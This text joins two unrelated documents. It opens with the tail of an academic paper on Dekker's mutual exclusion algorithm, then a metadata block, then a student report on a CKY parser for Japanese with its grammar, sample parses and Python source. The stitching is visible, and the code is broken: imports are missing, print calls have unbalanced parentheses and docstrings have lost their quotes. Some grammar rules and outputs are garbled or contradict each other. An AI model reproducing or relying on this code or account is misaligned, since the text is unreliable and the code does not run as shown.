The experimental work reported in this paper confirms that Dekker’s algorithm is RW-safe and that the proposed variants did not really improve it. The same conclusions also emerged in the case where the algorithms for two processes were embedded in a tournament tree, which delivered mutual exclusion in the more general scenario of $N \geq 2$ processes, where the Dekker-based solution was distinguished for having a bounded overtaking.
Our future research will aim to develop the following points: First, we will aim to extend the application of the modelling and verification approach for proving properties of other algorithms for 2 processes, e.g., refs. [17,18,24,25] embodied in a tournament-based implementation for $N \geq 2$ processes. Second, we will aim to develop an agent-based parallel simulation framework [26] to investigate, e.g., in a timed context, where stochastic
behavior replaces non-determinism, general, and scalable mutual exclusion algorithms for N ≥ 2 processes on a modern multi/many-core machine.
**Author Contributions:** Methodology, L.N.; Validation, L.N., F.C. and F.P.; Formal analysis, L.N.; Investigation, F.C.; Data curation, L.N.; Writing – original draft, L.N.; Writing – review & editing, F.C. and F.P. All authors have read and agreed to the published version of the manuscript.
**Funding:** This research received no external funding.
**Data Availability Statement:** The original contributions presented in the study are included in the article, further inquiries can be directed to the corresponding author/s.
**Conflicts of Interest:** The authors declare no conflict of interest.
**References**
**Disclaimer/Publisher’s Note:** The statements, opinions and data contained in all publications are solely those of the individual author(s) and contributor(s) and not of MDPI and/or the editor(s). MDPI and/or the editor(s) disclaim responsibility for any injury to people or property resulting from any ideas, methods, instructions or products referred to in the content.
|
{"Source-Url": "https://mdpi-res.com/d_attachment/computers/computers-13-00133/article_deploy/computers-13-00133.pdf?version=1716638451", "len_cl100k_base": 11830, "olmocr-version": "0.1.50", "pdf-total-pages": 19, "total-fallback-pages": 0, "total-input-tokens": 62418, "total-output-tokens": 13871, "length": "2e13", "weborganizer": {"__label__adult": 0.0005192756652832031, "__label__art_design": 0.0005903244018554688, "__label__crime_law": 0.0006213188171386719, "__label__education_jobs": 0.00107574462890625, "__label__entertainment": 0.00014650821685791016, "__label__fashion_beauty": 0.0002548694610595703, "__label__finance_business": 0.00044798851013183594, "__label__food_dining": 0.0005669593811035156, "__label__games": 0.0015087127685546875, "__label__hardware": 0.002437591552734375, "__label__health": 0.0009965896606445312, "__label__history": 0.0006389617919921875, "__label__home_hobbies": 0.00016677379608154297, "__label__industrial": 0.0008993148803710938, "__label__literature": 0.0005478858947753906, "__label__politics": 0.0005297660827636719, "__label__religion": 0.0007753372192382812, "__label__science_tech": 0.295654296875, "__label__social_life": 0.000125885009765625, "__label__software": 0.00726318359375, "__label__software_dev": 0.68212890625, "__label__sports_fitness": 0.0005240440368652344, "__label__transportation": 0.0014705657958984375, "__label__travel": 0.00030159950256347656}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 56158, 0.02064]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 56158, 0.5333]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 56158, 0.91356]], "google_gemma-3-12b-it_contains_pii": [[0, 3269, false], [3269, 7684, null], [7684, 11001, null], [11001, 15435, null], [15435, 18612, null], [18612, 23137, null], [23137, 25691, null], [25691, 27256, null], [27256, 30139, null], [30139, 33967, null], [33967, 35817, null], [35817, 37370, null], [37370, 40147, null], [40147, 43351, null], [43351, 44978, null], [44978, 46044, null], [46044, 46891, null], [46891, 51138, null], [51138, 56158, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3269, true], [3269, 7684, null], [7684, 11001, null], [11001, 15435, null], [15435, 18612, null], [18612, 23137, null], [23137, 25691, null], [25691, 27256, null], [27256, 30139, null], [30139, 33967, null], [33967, 35817, null], [35817, 37370, null], [37370, 40147, null], [40147, 43351, null], [43351, 44978, null], [44978, 46044, null], [46044, 46891, null], [46891, 51138, null], [51138, 56158, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 56158, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 56158, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 56158, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 56158, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 56158, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 56158, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 56158, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 56158, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 56158, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 56158, null]], "pdf_page_numbers": [[0, 3269, 1], [3269, 7684, 2], [7684, 11001, 3], [11001, 15435, 4], [15435, 18612, 5], [18612, 23137, 6], [23137, 25691, 7], [25691, 27256, 8], [27256, 30139, 9], [30139, 33967, 10], [33967, 35817, 11], [35817, 37370, 12], [37370, 40147, 13], [40147, 43351, 14], [43351, 44978, 15], [44978, 46044, 16], [46044, 46891, 17], [46891, 51138, 18], [51138, 56158, 19]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 56158, 0.13378]]}
|
olmocr_science_pdfs
|
2024-12-02
|
2024-12-02
|
ba51599a94bd4c3a27c5c6ce943a01d166cda98a
|
1. Introduction
The Cocke-Kasami-Younger (CKY) algorithm is an entirely generative approach for syntactically parsing individual sentences in a natural language. It requires a user-defined context-free grammar (CFG), which is a set of rules that express the way a symbol of a language can be grouped or ordered together along with a lexicon of words and symbols (Jurafsky and Martin 2009: 387). The symbols consist of two types: terminals and non-terminals. Terminals represent the words in a language while non-terminals symbolize abstract units that organize the terminals into full sentence structures (388). CFG non-terminals tend to correspond with the grammatical categories or constituents that form the hierarchies of phrases, clauses, and sentences in the analysis of natural grammar. An example set of rules forming a simple English sentence with a CFG is below.
Terminals: \{I, ran, quickly\}
Non-terminals: \{S, NP, Pronoun, VP, Verb, Adv\}
\[
\begin{align*}
S & \rightarrow NP \ VP \ Adv \\
NP & \rightarrow Pronoun \\
Pronoun & \rightarrow I \\
VP & \rightarrow Verb \\
Verb & \rightarrow ran \\
Adv & \rightarrow quickly \\
X1 & \rightarrow NP \ VP
\end{align*}
\]
In order for the CKY algorithm to function, the CFG is converted into Chomsky normal form (CNF), where rules are only allowed a binary set of symbols on the right hand side (RHS). A conversion of the example above is shown with the following:
\[
\begin{align*}
S & \rightarrow X1 \ Adv \\
NP & \rightarrow Pronoun \\
Pronoun & \rightarrow I \\
VP & \rightarrow Verb \\
Verb & \rightarrow ran \\
Adv & \rightarrow quickly \\
X1 & \rightarrow NP \ VP
\end{align*}
\]
This conversion is achieved by changing any mixed rules containing both terminals and non-terminals, removing unit productions containing only one non-terminal on the right hand side, and then making every rule binary. The CKY algorithm then utilizes a matrix to search non-terminal binary combinations at each word of the sentence. It proceeds to do so in a bottom-up fashion while filling in cells of the matrix with every phrase it finds until finally recognizes whether the whole string is a sentence or not. Pseudo-code for the algorithm is provided by Jurafsky and Martin (440).
\[
\begin{align*}
\text{function CKY-Parse}(\text{words, grammar}) \quad \text{returns} & \quad \text{table} \\
\text{for } j \leftarrow \text{from } 1 \text{ to } \text{LENGTH}(\text{words}) \text{ do} \\
\quad \text{table}[j-1, j] \leftarrow \{ A \mid A \rightarrow \text{words}[j] \in \text{grammar} \} \\
\text{for } i \leftarrow \text{from } j-2 \text{ downto } 0 \text{ do} \\
\quad \text{for } k \leftarrow i+1 \text{ to } j-1 \text{ do} \\
\quad \quad \text{table}[i, j] \leftarrow \text{table}[i, j] \cup \\
\quad \quad \quad \{ A \mid A \rightarrow BC \in \text{grammar}, \\
\quad \quad \quad \quad B \in \text{table}[i, k], \\
\quad \quad \quad \quad C \in \text{table}[k, j] \} \\
\end{align*}
\]
Figure 1. Pseudo-code for the CKY algorithm.
This project sets out to implement and test the CKY algorithm against a small grammar created for natural Japanese sentences. First, the program will accept a user-defined grammar file that will serve as the language model. Then, the program accepts input strings through the command line and determines if the string is a sentence as defined by the language model. Finally, if the program recognizes a sentence, it will display in bracket notation all parses it encountered from the algorithm. This bracket notation will be as linguistic-friendly as possible.
2. Description
2.1 Resources
This program was developed in Python 2.7 and must be run from the Python interpreter on the command line, especially one that supports Unicode input. I used Ubuntu 10.04 since I had it readily available. A previous implementation for English sentences used Python, so ultimately this project is a modification of that existing code. Naturally, some of Python’s native collection data structures were used, such as dictionaries (associative arrays), sets (an array storing unique, non-duplicated entries), and lists (typical numerically indexed arrays). UTF-8 is the primary encoding for the scripts and regular expressions.
Additionally, the MeCab morphological analyzer for Japanese was used. In this case, the binding library for Python and at least one appropriately formatted corpus file is required for the library to operate. MeCab was developed in C, thus this program also requires the Simplified Wrapper
and Interface Generator (SWIG), a tool for wrapping C/C++ functionality into other programming languages (i.e. Python). The IPA dictionary contains parameter estimations modeled with the IPA corpus and Conditional Random Fields (CRF). It is intended to be used as a general morphological analyzer without focus on any specific domain of language.
2.2 Usage
To run the program in the present working directory, the following command is used:
```
python cky_driver.py jp_nocnf_input.txt
```
The script accepts an additional command line argument for the grammar file.
Enter a “1” if the input file is in plain CFG format or “2” if the grammar is already in CNF.
You are then prompted to enter a Japanese sentence. Please keep in mind that this program was designed to work for Japanese sentences in UTF-8.
To end the program, enter the EOF character. In Unix, this is Ctrl-D.
2.3 Implementation
The main program is divided into three files.
Driver: cky_driver.py
Grammar-related classes: CFG.py
CKY algorithm class: CKY.py
A general overview of the classes is described below:
- **CFG**
- Parent class of a grammar.
- Stores a list of rules in dictionaries as well as non-terminals and terminals their respective sets.
- **CNF**
- Subclass of CFG.
- Public and pseudo-private methods for CNF conversion including mixed rule manipulation, unit production removal, and binary rule conversion.
- Stores a collection of new nodes introduced from any mixed rule or binary conversions, which is later used to create a bracket notation accurate with the original input grammar.
- Contains a CNF_search_tree for searching RHS symbols and returning the corresponding left hand side (LHS) symbol. This is used when comparing non-terminal nodes in the CKY algorithm.
- **Rule**
- Class for representing of individual grammar rules.
• Maintains unit production history for newly converted rules. Used for bracket notation output in the CKY parser.
• CNF_search_tree
• Tree of dictionaries used to search the LHS associated with a given rule or terminal node. LHS symbols are stored in a set at the end of a traversal.
• CKY
• Parser containing the matrix (2D list) and logic for running the CKY algorithm.
• Segments input string into words for parsing via MeCab library.
• Contains accessor that prints out a rough from of the CKY table and, more importantly, the bracket notation of all possible parses.
• CKY_indexer
• Tracks symbols stored in each cell of the CKY parse table and the RHS used to create it. Used as a reference for bracket notation formation.
The driver takes in the grammar’s text file name as a command line argument and stores its representation as a CNF object. The constructor builds a dictionary of Rule objects and then sets of non-terminals and terminals through the constructor of the inherited parent class, CFG. Beyond identifying and storing the types of symbols during instantiation, the CNF object mutates the data into CNF form if so indicated by the user. Methods proceed through conversion by changing the current grammar rather than copying. The modified steps are below (Jurafsy and Martin, 437):
1. Copy all conforming rules to the new grammar unchanged.
2. Convert terminals within rules to dummy non-terminals.
3. Convert unit-productions.
4. Make all rules binary and add them to new grammar.
Mixed rules introduce terminals as a new dummy non-terminal, or in another sense, linguistic category of the form “CAT#.” The unit production historical data is stored as a list within the individual Rule object for easy retrieval and rebuilding when displaying bracket notation true to the original grammar. The LHS of new rules introduced by CNF binary conversion are stored in a list in the form “X#.” When this is finished, the CNF object creates a search tree from all rules so that the CKY algorithm can effectively compare non-terminals and produce the correct LHS. The program then prints out the CNF grammar, non-terminals, and terminals.
Afterwards, the CKY object is instantiated with the CNF object as an argument for construction. An indexer class is also instantiated within the CKY object, which essentially contains backpointers to all of the nodes necessary for filling the cells of the CKY parse table. The driver asks the user for an input string which is in turn segmented by a method that calls the morphological analyzer, MeCab. MeCab returns a string of words separated by spaces, leading to easy segmentation by a regular expression. Once these words are segmented, the CKY algorithm
can proceed to parse normally. Upon finishing, the object prints out a copy of the parse table, a verdict of “S” or “Not S,” and if it was an S, the recursively constructed bracket notation of all parses that resulted in an S.
<table>
<thead>
<tr>
<th>鉛筆</th>
<th>で</th>
<th>手紙</th>
<th>を</th>
<th>書く</th>
</tr>
</thead>
<tbody>
<tr>
<td>[0,0] Nominal, Noun, CommonNoun</td>
<td>[0,1] PP</td>
<td>[0,2]</td>
<td>[0,3]</td>
<td>[0,4] VP, S, S</td>
</tr>
<tr>
<td>[1,1] Postposition</td>
<td>[1,2]</td>
<td>[1,3]</td>
<td>[1,4]</td>
<td></td>
</tr>
<tr>
<td>[4,4] VP, S, Verb, NatVerb</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Figure X. Visualization of the CKY parse table for the example above. Indices are altered from Figure X to accommodate actual implementation.
2.4 Implementation Challenges and Decisions
Word segmentation in Japanese was undoubtedly a challenge that could not be resolved with regular expressions alone. Segmented words are a crucial precondition for the CKY algorithm to function. Unlike English, written Japanese sentences combine words into a string of characters without division by spaces or any overt markers. At the phrase level, it is possible to separate with a comma or other form of punctuation, but this happens relatively infrequently. Another approach could be to identify words by the three sets of characters used in Japanese orthography. Kanji, adopted Chinese characters, are used for most native Japanese words with semantic value, hiragana is used for both native words and grammatical markers such as case and inflections, and katakana covers an assortment of types like foreign loan words, onomatopoeia, and emphasis. However, producing segmentation with only this information proves fruitless (Example 1).
Example 1. Characters are separated with dashes by kanji/hiragana distinction. The actual words are bracketed.
Consequently, I was coerced into adapting a more sophisticated method to arrive at the desired segmentations. The MeCab morphological analyzer suited this role. MeCab accepts an argument that formats the output with space-separation between morphemes. Since Japanese is an agglutinative language with easily segmented morphemes, most words with any type of conjugation would contain space-separation between the root and additional inflections. My program was designed to handle constituents at the word-level, so I did not include words with morphological inflections where possible. In practical use, the part-of-speech (POS) information provided by the morphological analyzer should be used to either piece the separated morphemes back into such words or assign categories to form sound syntactic structures. The limitation of the parser to recognize a string of hiragana characters from a semantic word to a grammatical constituent, i.e. case, tense/aspect markers, etc., is reason enough to use the tools here while avoiding a standard string search algorithm that considers only pre-defined terminals.
Furthermore, morphemes, not just words, may be considered as equal with other parts-of-speech which could introduce more abstract phrase types (AP for aspectual phrase, TP for tense phrase, etc.) in some methods of syntactic analyses (Haegeman 1994: 598). In such a case, it would have to take advantage of the POS tagging information by the analyzer.
Other options were available for morphological analysis. The NLTK library contains a “reader” package with a module “chasen,” which makes used of the ChaSen morphological analyzer built on Hidden Markov Models (HMM) (http://nltk.org/api/nltk.corpus.reader.html#module-nltk.corpus.reader.chasen). The authors of MeCab state that CRF-modeled analyzers possess two strong advantages over Markov model implementations (HMMs and Maximum Entropy Markov Models [MEMM]). First, it avoids the label bias. Even if the right path is trained on a Markov model, another path may be chosen by default due to fewer outgoing transitions from the current state (thus less probability to divide with other possibilities). It also minimizes length bias, which the MEMM falls victim too. Short paths, or parses with a small number of tokens, are preferred to longer paths creating lower entropy. CRFs avert both biases because they assign “a single exponential model for the joint probability of the entire path.” For instance, an MEMM contains “a sequential combination of exponential models, each of which estimates a conditional probability of next tokens given the current state.” (Kudo, et al. 2004)
With these claimed advantages, and the fact that I have not encountered a counter argument as of yet, I chose to stick with the MeCab library. In addition, the test grammar is kept small with basic words to ensure the core functionality of the CKY parser is sound. The difference in segmentation would be negligible for this project, but it would seem feasible to test ChaSen in comparison with MeCab if one endeavors to settle on a final parser implementation.
MeCab also required Python version 2.x. Ultimately, I was forced to convert my code from Python 3.3 to 2.7 in the end due to the required version for the MeCab binding library, which is no different than NLTK. Python 3.3 was convenient in the sense that the script and input strings are encoded in UTF-8 by default. In Python 2.7, it is mandatory to use explicit functions for
encoding and decoding strings as well as flagging regular expression functions to expect Unicode.
Framing the bracketed notation true to the original grammar proved tedious. Displaying the notation in converted CNF could be accomplished by a simple recursive algorithm implemented in the CKY class using only the information provided by the CKY Indexer. However, it seemed inconvenient to regenerate the hierarchy of rules dictated by the original grammar without storing some history of changes in the CNF class. Particularly, storing the chain of unit productions required some planning. At first, I considered changing the CNF to keep unit productions and handle them appropriately in the CKY parse. However, I would need a data structure in the cell of the CKY table to distinguish the resolved LHS node from a list of unit production nodes that fall under it. That list could then be retrieved when forming the bracket notation. Then again, my CNF Search Tree implementation would have to change to accommodate these rules, and for a data structure central to an already working implementation of the CKY algorithm, this posed risky. This is why I decided to maintain a list of each node in a unit production chain under a Rule object for the new rule that replaced them.
3. Analysis
As far as the scope of the project, the parser recognizes all sentences it should given a user-defined grammar with all input in UTF-8. After all, the parser is only as good as the language model applied. Examples for recognized input sentences and non-sentences are presented in Appendix A-3.
Again, the grammar contained words in their basic forms (ex. verbs are all in their imperfective form) for easy segmentation by the morphological analyzer. Future work would include a means to combine conjugated morphemes back into a single word.
The test CFG, as small as it is, contained many similar and recursive rules to address just a few variations of slightly different syntactic constructions. This phenomena is not specific to the CKY algorithm, but it is a concern for any algorithm relying on a CFG. For example, I have three types of verbals that resolve to VP.
\[
\begin{align*}
VP & > \text{GaVerb} \\
VP & > \text{Verb} \\
\text{Verb} & > \text{NatVerb} \\
\text{Verb} & > \text{VerbalNoun} \quad \text{する}
\end{align*}
\]
The GaVerb exists for a special class of verbs that use が as an accusative case marker rather than the typical を. The NatVerb is used for all native Japanese verbs. The VerbalNoun する rule
is another type of verbal that functions just as the NatVerb categories with case marking and conjugations, but instead they use Sino-Japanese nouns that precede the verb する. This is just a sample of the verbal intricacies that have to be captured by the grammar for this algorithm to work successfully. What was presented here is purely syntactic, but you could include other linguistic dependencies such as animacy, tense/aspect representation, etc. to factor into other possible syntactic variations. The categorical and consequent rule counts rise rather quickly in effort to cover all combinations, and as a result, it makes non-context-free alternatives look more promising.
The method for developing the bracket notation is also successful. The historical information saved throughout every step of the CNF conversion and CKY parse is effectively used to build an accurate notation based on the original CFG. Please refer to Appendix A-1 for the grammar and Appendix A-2 for example output in bracket notation.
4. Conclusion
Overall, the program worked as intended with the strict scope of a syntactic parser. I learned potential ways that a morphological analyzer’s output could contribute to the next step, syntactic parsing, in the natural language processing paradigm. It began more as a solution for segmenting words in Japanese, but it brought to light how POS data should interact with a grammar and how that grammar should be designed to fit that data. It was also an introduction to a new statistical mode (CRFs) beyond the Markov models presented in class.
Handling UTF-8 helped me develop an appreciation for programmers working with languages other than English, especially for less commonly used encodings. It made me understand how much I have taken for granted the built-in string functions and regular expressions under a high-level language’s default API. At least for Python, things seem to be progressing for UTF-8 where others enjoy the benefits of not having to know exactly when and how to explicitly define an encoding or decoding, for better or for worse. It is then a matter of waiting for NLP developers to upgrade their libraries to interface with the newest versions.
There is still room to explore how this parser would size up against more popular options, such as any parser provided by the NLTK library. It is difficult to make a fair comparison at this stage because both this parser and anything from NLTK’s “parse” package would have to depend on the same format of grammar under the same algorithm. I have not found a simple implementation of CKY under this package yet. However, it may be interesting to test the simple CKY algorithm against others like the Shift/Reduce and Earley algorithms, as well as the probability based CFG algorithms, which are all available under NLTK (http://nltk.org/api/nltk.parse.html).
Bibliography
Appendix
A-1: Test Context-Free Grammar
\[ S_{inform} > S \text{ y} \]
\[ S_{ques} > S \text{ か} \]
\[ S > VP \]
\[ S > NomNP VP \]
\[ S > AddNP VP \]
\[ S > TopNP S \]
\[ S > PP S \]
\[ NP > NomNP \]
\[ NP > AccNP \]
\[ NP > DatNP \]
\[ NP > AddNP \]
\[ NomNP > Nominal NomPart \]
\[ AccNP > Nominal AccPart \]
\[ GaAccNP > Nominal GaAccPart \]
\[ DatNP > Nominal DatPart \]
\[ TopNP > Nominal TopPart \]
\[ AddNP > AddNominal \]
\[ PP > Nominal Postposition \]
\[ Nominal > Noun \]
\[ Nominal > Nominal GenPart Noun \]
\[ Nominal > Det Noun \]
\[ Nominal > Nominal Conjunct Nominal \]
\[ Nominal > InterrogNoun \]
\[ Nominal > S FormalNoun \]
\[ AddNominal > Nominal Additive \]
\[ AddNominal > AddNominal Nominal Additive \]
\[ Noun > Pronoun \]
\[ Noun > CommonNoun \]
\[ Noun > ProperNoun \]
\[ VP > AccNP Verb \]
\[ VP > GaAccNP GaVerb \]
\[ VP > Verb \]
\[ VP > GaVerb \]
\[ VP > PP VP \]
\[ VP > Nominal Copula \]
\[ Copula > だ \]
\[ Verb > NatVerb \]
\[ Verb > VerbalNoun する \]
\[ NatVerb > 含む | 好む | 行く | 読む | 送る | 書く | 買う | する \]
\[ GaVerb > 分かる | 出来る | できる \]
\[ VerbalNoun > 予約 | 旅行 \]
\[ Det > この | その | あの \]
\[ Pronoun > 私 | 彼女 | 彼 \]
\[ CommonNoun > 本 | 飛行機 | ご飯 | お金 | 鉛筆 | 手紙 \]
\[ ProperNoun > 東京 | 英語 | 日本語 \]
\[ ProperNoun > NameNoun さん \]
ProperNoun > NameNoun
NameNoun > 村上 | ライアン
FormalNoun > の | こと | ところ
InterrogNoun > 何 | 誰 | どこ
PP > Nominal Postposition
Postposition > から | に | へ | まで | までに | で
NomPart > が
AccPart > を
GaAccPart > が
GenPart > の
DatPart > に
TopPart > は
Conjunct > と | や
Additive > も
A-2: Full Output Example
Input file is set to: jp_input_nocnf.txt
Is this input formatted in: (1) CFG (2) CNF ? 1
Grammar:
AccNP > Nominal AccPart
AccPart > を
AddNP > Nominal Additive
AddNP > X3 Additive
AddNominal > Nominal Additive
AddNominal > X3 Additive
Additive > も
CAT1 > か
CAT2 > さん
CAT3 > する
CAT4 > よ
CommonNoun > 本 | 飛行機 | ご飯 | お金 | 鉛筆 | 手紙
Conjunct > と | や
Copula > だ
DatNP > Nominal DatPart
DatPart > に
Det > この | その | あの
FormalNoun > の | こと | ところ
GaAccNP > Nominal GaAccPart
GaAccPart > が
GaVerb > 分かる | 出来る | できる
GenPart > の
InterrogNoun > 何 | 誰 | どこ
NP > Nominal NomPart
NP > Nominal AccPart
NP > Nominal DatPart
NP > Nominal Additive
NP > X3 Additive
NameNoun > 村上 | ライアン
NatVerb > 含む | 好む | 行く | 読む | 送る | 書く | 買う | する
NomNP > Nominal NomPart
NomPart > が
Nominal > X1 Noun
Nominal > Det Noun
Nominal > X2 Nominal
Nominal > S FormalNoun
Nominal > 私 | 彼女 | 彼
Nominal > 本 | 飛行機 | ご飯 | お金 | 鉛筆 | 手紙
Nominal > 東京 | 英語 | 日本語
Nominal > NameNoun CAT2
Nominal > 村上 | ライアン
Nominal > 何 | 誰 | どこ
Noun > 私 | 彼女 | 彼
Noun > 本 | 飛行機 | ご飯 | お金 | 鉛筆 | 手紙
Noun > 東京 | 英語 | 日本語
Noun > NameNoun CAT2
Noun > 村上 | ライアン
PP > Nominal Postposition
PP > Nominal Postposition
Postposition > から | に | へ | まで | までに | で
Pronoun > 私 | 彼女 | 彼
ProperNoun > 東京 | 英語 | 日本語
ProperNoun > NameNoun CAT2
ProperNoun > 村上 | ライアン
S > NomNP VP
S > AddNP VP
S > TopNP S
S > PP S
S > AccNP Verb
S > GaAccNP GaVerb
S > 含む | 好む | 行く | 読む | 送る | 書く | 買う | する
S > VerbalNoun CAT3
S > 分かる | 出来る | できる
S > PP VP
S > Nominal Copula
S_inform > S CAT4
S_ques > S CAT1
TopNP > Nominal TopPart
TopPart > は
VP > AccNP Verb
VP > GaAccNP GaVerb
VP > PP VP
VP > Nominal Copula
VP > 含む | 好む | 行く | 読む | 送る | 書く | 買う | する
VP > VerbalNoun CAT3
VP > 分かる | 出来る | できる
Verb > VerbalNoun CAT3
Verb > 含む | 好む | 行く | 読む | 送る | 書く | 買う | する
VerbalNoun > 予約 | 旅行
X1 > Nominal GenPart
彼が鉛筆で手紙を書く。
彼が鉛筆で手紙を書く
[0,0] ['Nominal', 'Noun', 'Pronoun']
[0,1] ['NP', 'NomNP', 'GaAccNP']
[1,1] ['NomPart', 'GaAccPart']
[0,2] []
[1,2] []
[2,2] ['Nominal', 'Noun', 'CommonNoun']
[0,3] []
[1,3] []
[2,3] ['PP']
[3,3] ['Postposition']
[0,4] []
[1,4] []
[2,4] []
[3,4] []
[4,4] ['Nominal', 'Noun', 'CommonNoun']
[0,5] []
[1,5] []
[2,5] []
[3,5] []
[4,5] ['AccNP', 'NP']
[5,5] ['AccPart']
[0,6] ['S']
[1,6] []
[2,6] ['VP', 'S', 'S']
[3,6] []
[4,6] ['VP', 'S']
[5,6] []
[6,6] ['VP', 'S', 'Verb', 'NatVerb']
S found!
Possible parses: 1
A-3: Sentences and Non-Sentences
***************************************
SENTENCES recognized correctly.
***************************************
行くよ!
行く--よ
Possible parses: 1
[S_inform [S [VP [Verb [NatVerb 行く]]][CAT4 よ]]]
彼がライアンだ。
彼--が--ライアン--だ
Possible parses: 1
村上さんの本を読む。
村上--さん--の--本--を--読む
Possible parses: 1
[S [VP [AccNP [Nominal [Nominal [Noun [ProperNoun [NameNoun 村上]]][CAT2 さん]]][GenPart の][Noun [CommonNoun 本]][AccPart を]][Verb [NatVerb 読む]]]]
飛行機がご飯を含む。
飛行機--が--ご飯--を--含む
Possible parses: 1
飛行機で旅行する。
飛行機--で--旅行--する
Possible parses: 2
[S [VP [PP [Nominal [Noun [CommonNoun 飛行機]]][Postposition で]][VP [Verb [VerbalNoun 旅行][CAT3 する]]]]]
村上さんが英語が出来る。
村上さんが英語が出来る
Possible parses: 1
ご飯は、何を買う?
ご飯は、何を買う
Possible parses: 1
日本語で本や手紙を読むことができる。
日本語で本や手紙を読むことができる
Possible parses: 10
私は、飛行機で東京に行くことを好む。
私は、飛行機で東京に行くことを好む。
Possible parses: 13
彼も彼女も東京から飛行機で行く。
彼女も彼女も東京から飛行機で行く。
ライアンが本を書くのを予約する。
ライアンが本を書くのを予約する
日本語で。(casual reply)
どこで? (casual question)
本を村上さんが書く。(OSV scrambling)
東京に行く飛行機だ。(noun modified by a relative clause)
東京に旅行するのに飛行機で行く。(formal noun + postposition [dative particale] + S)
B: Source Code
cky_driver.py
# This is the driver program. It takes in the input grammar text file, prompts the user
# if they want to convert grammar into CNF, and utilizes all of the related classes stored
# in CFG.py and CKY.py to parse input sentences entered in STDIN.
try:
inputPath = sys.argv[1]
inputFileName = basename(inputPath)
if isfile(inputPath):
print("Input file is set to: " + inputFileName)
else:
wd = dirname(abspath(__file__))
inputPath = join(wd, inputFileName)
if isfile(inputPath):
print("Path changed to: " + inputPath)
else:
print("Input file could not be found.")
sys.exit()
convert_CNF = raw_input("Is this input formatted in: (1) CFG (2) CNF ? ") == '1'
except IndexError:
sys.exit("Please check that you have an argument for the input file.")
except:
print(sys.exc_info())
sys.exit("There was an error running the program.")
txt_file = open(inputPath, "r")
txtStr = txt_file.read()
txt_file.close()
#Create the CNF grammar to work as the language model for CKY parsing.
grammar = CNF(txtStr, convert_CNF)
grammar.printGrammar()
grammar.printNonTerminals()
grammar.printTerminals()
#Create the parser with the new grammar.
parser = CKY(grammar)
#Continue reading sentences until EOF is received.
while True:
try:
sentence = raw_input("Please enter a sentence:\n").decode("utf-8")
parser.parseSentence(sentence)
except EOFError:
print("nEOF hit. Ending program.\n")
break
---
CFG.py
# encoding: utf-8
import re,string,sys
# from collections import *
Classes used to represent all facets of the context-free grammar needed for the CKY algorithm.
Update for Assig 4:
CNF contains another class, CNF_search_tree, used to take in arguments from the RHS of a proposed rule and find any corresponding LHS symbols (used for CKY)
#Parent class
class CFG:
# Dict with unique left hand symbols as keys and lists of rules assigned as the value.
rule_list = {}
# Unique set of symbols (actually view) that represent non-terminals.
non_terminals = set()
# Unique set of symbols that represent terminals.
terminals = set()
def __init__(self, grammar):
lines = grammar.splitlines()
# Create Rule objects and store in the rule list.
for line in lines:
temp = Rule(line)
ind = temp.getLHS()
# Create an empty list if this unique LHS doesn't exist yet
if ind not in self.rule_list:
self.rule_list[ind] = []
self.rule_list[ind].append(temp)
# Naturally, the unique LHS symbols are the non-terminals.
# Notice that this is a view of dict keys. There is no need to manually
# add entries as the rule_list's keys become updated.
self.non_terminals = self.rule_list.keys()
self.__storeTerminals()
# Search the rule list for terminal symbols.
def __storeTerminals(self):
rules = self.rule_list
for r_key in rules:
for rule in rules[r_key]:
rhs_symbols = rule.getRHS()
i=0
while i < len(rhs_symbols):
if rhs_symbols[i] not in self.non_terminals:
self.terminals.add(rhs_symbols[i].decode("utf-8"))
i+=1
# Append a Rule object to the rule list dict.
def appendRule(self, rule):
ind=rule.getLHS()
if ind not in self.rule_list:
self.rule_list[ind] = []
self.rule_list[ind].append(rule)
# Convert grammar to a string.
def toString(self):
grammarStr = ''
for i in sorted(self.rule_list):
for j in self.rule_list[i]:
grammarStr += j.toString() + "\n"
return grammarStr
# Print out the grammar in STDOUT.
def printGrammar(self):
print("Grammar:"
for i in sorted(self.rule_list):
for j in self.rule_list[i]:
j.printRule()
print("\n")
# Print all non-terminals.
def printNonTerminals(self):
print("Non-terminals:"
print(sorted(self.non_terminals))
print("\n")
# Print all terminals.
def printTerminals(self):
print("Terminals:"
print('---'.join(sorted(self.terminals)).encode("utf-8"))
print("\n")
---
Subclass CNF that inherits CFG.
It additionally contains instance data and methods for converting a grammar to CNF, searching the CNF for a constructed rule, and historical information about any new nodes created.
```python
class CNF(CFG):
search_tree = None
#Counter for labeling new variables used in rules.
repl_counter = 1
#Counter for new categories returned by fixing mixed rules.
cat_counter = 1
#Keeps history of new nodes created converting relevant rules into binary form.
new_nodes = []
#The constructor only calls to convert the grammar unless the user supplies an
#argument saying that the grammar is already in CNF.
def __init__(self, grammar, convertCNF=True):
CFG.__init__(self, grammar)
if convertCNF:
self.convertToCNF()
self.__createSearchTree()
#Create a CNF search tree for the grammar in final CNF form.
#See class CNF_search_tree for details.
def __createSearchTree(self):
self.search_tree = CNF_search_tree(self.terminals)
rules = self.rule_list
for r_key in rules:
for rule in rules[r_key]:
self.search_tree.addRule(rule)
#Call the CNF_search_tree object to find the rule based on the RHS parameter.
def searchRule(self, RHS):
if self.search_tree is not None:
return self.search_tree.search(RHS)
else:
return None
